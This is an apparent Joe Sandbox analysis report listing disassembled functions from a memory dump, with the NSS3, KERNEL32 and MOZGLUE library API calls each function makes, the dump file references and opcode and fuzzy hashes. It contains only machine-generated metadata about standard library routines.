LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE6FDFE), ref: 6CE7006F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: afb627279b72171f726641742f793bfcacbc10450348c0fe957f74c3b4c4183f
Instruction ID: c9126257d84610b2d5a29f1d279fb24edb2961080d30ed0e0dfbd0b191c62dfb
Opcode Fuzzy Hash: afb627279b72171f726641742f793bfcacbc10450348c0fe957f74c3b4c4183f
Instruction Fuzzy Hash: 7841D0B1F002059BDF48DFA4D889BAEB775FF4A318F14052DD90693740DB3AA941CBA1

Function 6CF57DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF57E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF57EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF57EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF57ED8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 2e44745b3ef4d456a0976932f0c1633610825147eff9e7ff66aa1d5203fdcb0e
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: E131B3B2B112118FDB04CF08D8919DABBE2FF8831871B816AC9589B711EB71EC55CBD1

Function 6CF0DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEAAE42), ref: 6CE930AA
Part of subcall function 6CE93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE930C7
Part of subcall function 6CE93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE930E5
Part of subcall function 6CE93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE93116
Part of subcall function 6CE93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE9312B
Part of subcall function 6CE93090: PK11_DestroyObject.NSS3(?,?), ref: 6CE93154
Part of subcall function 6CE93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CF0DBBD), ref: 6CF0DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF0DFEE

Part of subcall function 6CEA86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA8716
Part of subcall function 6CEA86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA8727
Part of subcall function 6CEA86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA873B
Part of subcall function 6CEA86D0: PR_Unlock.NSS3(?), ref: 6CEA876F
Part of subcall function 6CEA86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CEA8787

Part of subcall function 6CECF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CECF854
Part of subcall function 6CECF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CECF868
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CECF882
Part of subcall function 6CECF820: free.MOZGLUE(04C483FF,?,?), ref: 6CECF889
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CECF8A4
Part of subcall function 6CECF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CECF8AB
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CECF8C9
Part of subcall function 6CECF820: free.MOZGLUE(280F10EC,?,?), ref: 6CECF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CF0DBBD), ref: 6CF0DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CF0DBBD), ref: 6CF0E007

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 7aceaec0ee479cec3f0225e7f2bfa54344ecf9409a3ddc2ca67829190469f52f
Instruction ID: 45e4572476a4bf2dead89cc1e7f95a29ee32564bd9a3f2936929af2a13af5e41
Opcode Fuzzy Hash: 7aceaec0ee479cec3f0225e7f2bfa54344ecf9409a3ddc2ca67829190469f52f
Instruction Fuzzy Hash: 7B3107B1B0020157E7109A79AC94A9B73B89F5470EF144139EA09C7B12FF35D918D3E2

Function 6CE86C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE86C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE86CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE86CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CFA8FE0), ref: 6CE86CFE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 84f7bca804c2888f2b4cad8bb94b0cb03e9bddfcd7b294b5159da00c387039ab
Instruction ID: ab3813d5a28a2c2042adf3946ace7aaa7344f3d0d3a145d58292694bf0506067
Opcode Fuzzy Hash: 84f7bca804c2888f2b4cad8bb94b0cb03e9bddfcd7b294b5159da00c387039ab
Instruction Fuzzy Hash: 5D3183B1A012169FDB04DF65C851ABFB7F9EF49248F20442DD909D7750FB719905CBA0

Function 6CF94F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF94F5D
free.MOZGLUE(?), ref: 6CF94F74
free.MOZGLUE(?), ref: 6CF94F82
GetLastError.KERNEL32 ref: 6CF94F90

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a475f6e56bdedf696f3628ce229c021c8ef00fb516a36298fc7dd4209ff379fd
Instruction ID: 10ec33a032f31139702b8de5b642c936c7aa835937d7bfd3c915468047c32f66
Opcode Fuzzy Hash: a475f6e56bdedf696f3628ce229c021c8ef00fb516a36298fc7dd4209ff379fd
Instruction Fuzzy Hash: 6F31FB75A0061A5BFF01CB69DC45BDFB7B8EF4535CF050229EC26A7781DB34E9048691

Function 6CEF6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CEF6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF6E57

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CEF6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CEF6EAA

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: e561cecb0224ad4b6606bc9e262f8726ba5b4fb33f5aab028c324303e2f38320
Instruction ID: 605f30724ef5977fa6e8757a12c1caae4373005a729358fd22c29e2cea9c19d5
Opcode Fuzzy Hash: e561cecb0224ad4b6606bc9e262f8726ba5b4fb33f5aab028c324303e2f38320
Instruction Fuzzy Hash: 38318133610512EBDB145E34D904396B7B8AB0531EF30463DD4AAD6B81EB317A5ACF91

Function 6CEDDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CEDDDB1,?,00000000), ref: 6CEDDDF4

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CEDDDB1,?,00000000), ref: 6CEDDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CEDDDB1,?,00000000), ref: 6CEDDE17

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CEDDE80

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 3b9bdac20055786abb77421c26de6ab9f581861c8bab9ee4b9a0450b2375b731
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: A331AFB5D006429BE700CF56C880656B7B4BFA531CB26822ADC1887B01EB70F2A5CFA0

Function 6CECFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CEA5ADC,?,00000000,00000001,?,?,00000000,?,6CE9BA55,?,?), ref: 6CECFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CECFE5F
PR_Unlock.NSS3(78831D74), ref: 6CECFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CECFED6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c6c589297400546d151c7601c5732c3396432c89b7e88d9c60a7c99afaa6b620
Instruction ID: 21d2619f0cbbcf80345509e899ccecabe42ded997f15a445e8621d4067748a97
Opcode Fuzzy Hash: c6c589297400546d151c7601c5732c3396432c89b7e88d9c60a7c99afaa6b620
Instruction Fuzzy Hash: 6C212D31F00625AFDB40AA74D90479A77B8BF0536CF240125ED14A7B42E738E864CBD2

Function 6CED3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CED3440: PK11_GetAllTokens.NSS3 ref: 6CED3481
Part of subcall function 6CED3440: PR_SetError.NSS3(00000000,00000000), ref: 6CED34A3
Part of subcall function 6CED3440: TlsGetValue.KERNEL32 ref: 6CED352E
Part of subcall function 6CED3440: EnterCriticalSection.KERNEL32(?), ref: 6CED3542
Part of subcall function 6CED3440: PR_Unlock.NSS3(?), ref: 6CED355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEBE80C,00000000,00000000,?,?,?,?,6CEC8C5B,-00000001), ref: 6CED3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEBE80C,00000000,00000000,?,?,?,?,6CEC8C5B,-00000001), ref: 6CED3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CEBE80C,00000000,00000000,?,?,?,?,6CEC8C5B,-00000001), ref: 6CED3FFE
PR_SetError.NSS3 ref: 6CED401A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: dadc7c0a3be8f049449e6909edc34a9d7364159473a6252a1f315f7213abf205
Instruction ID: 036037fc784c5246b95d6cfd63e8c5332469b942eb8b77a99a873642e4c8d3d0
Opcode Fuzzy Hash: dadc7c0a3be8f049449e6909edc34a9d7364159473a6252a1f315f7213abf205
Instruction Fuzzy Hash: 673183719047048FDB40AF79D18426EBBF1FF89318F12492ED98987700EB34E885CB92

Function 6CEC4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CECB60F,00000000), ref: 6CEC5064

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: df0b1e4ef9ac79653b60af26947ba5d4905aa1eba8a764bd846cd1d3c4501d84
Instruction ID: 338ca46e7ed8d72f21691324d4ac17a6220509f16960f1a0900b0170f4060744
Opcode Fuzzy Hash: df0b1e4ef9ac79653b60af26947ba5d4905aa1eba8a764bd846cd1d3c4501d84
Instruction Fuzzy Hash: 58312BB4A05A069FDB40EF68C58566ABBF4FF08308B11456DD969D7701EB30E890CBD2

Function 6CEE9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEEA71A,FFFFFFFF,?,?), ref: 6CEE9FAB

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEEA71A,6CEEA71A,00000000), ref: 6CEE9FD9

Part of subcall function 6CEE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE136A
Part of subcall function 6CEE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE137E
Part of subcall function 6CEE1340: PL_ArenaGrow.NSS3(?,6CE7F599,?,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?), ref: 6CEE13CF
Part of subcall function 6CEE1340: PR_Unlock.NSS3(?,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEEA71A,6CEEA71A,00000000), ref: 6CEEA009
PR_SetError.NSS3(FFFFE013,00000000,6CEEA71A,6CEEA71A,00000000), ref: 6CEEA045

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 196527c8afb16a4e6c87f1405c3a154f2017fd2133ac5f42e186a37a5daadb4a
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 832165B46402069BF7009F55DC50F66BBB9FF5939CF24812CD81987B81EB75D918CB90

Function 6CEF2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF2E08

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEF2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEF2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEF2E95

Part of subcall function 6CEE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE888A4,00000000,00000000), ref: 6CEE1228
Part of subcall function 6CEE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CEE1238
Part of subcall function 6CEE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE888A4,00000000,00000000), ref: 6CEE124B
Part of subcall function 6CEE1200: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0,00000000,00000000,00000000,?,6CE888A4,00000000,00000000), ref: 6CEE125D
Part of subcall function 6CEE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CEE126F
Part of subcall function 6CEE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CEE1280
Part of subcall function 6CEE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CEE128E
Part of subcall function 6CEE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CEE129A
Part of subcall function 6CEE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CEE12A1

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: c5ca5d219114e72b91a5a70d4de3ec5a91f5af024b98c183d877513d2b462085
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: D72108B1E003854BEB01CF549D44BAA3774AFA534CF310269DD285B742F7B2E699C392

Function 6CEAACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CEAACC2

Part of subcall function 6CE82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE82F0A
Part of subcall function 6CE82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE82F1D

Part of subcall function 6CE82AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE80A1B,00000000), ref: 6CE82AF0
Part of subcall function 6CE82AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE82B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CEAAD5E

Part of subcall function 6CEC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE8B41E,00000000,00000000,?,00000000,?,6CE8B41E,00000000,00000000,00000001,?), ref: 6CEC57E0
Part of subcall function 6CEC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEC5843

CERT_DestroyCertList.NSS3(?), ref: 6CEAAD36

Part of subcall function 6CE82F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE82F65
Part of subcall function 6CE82F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE82F83

free.MOZGLUE(?), ref: 6CEAAD4F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

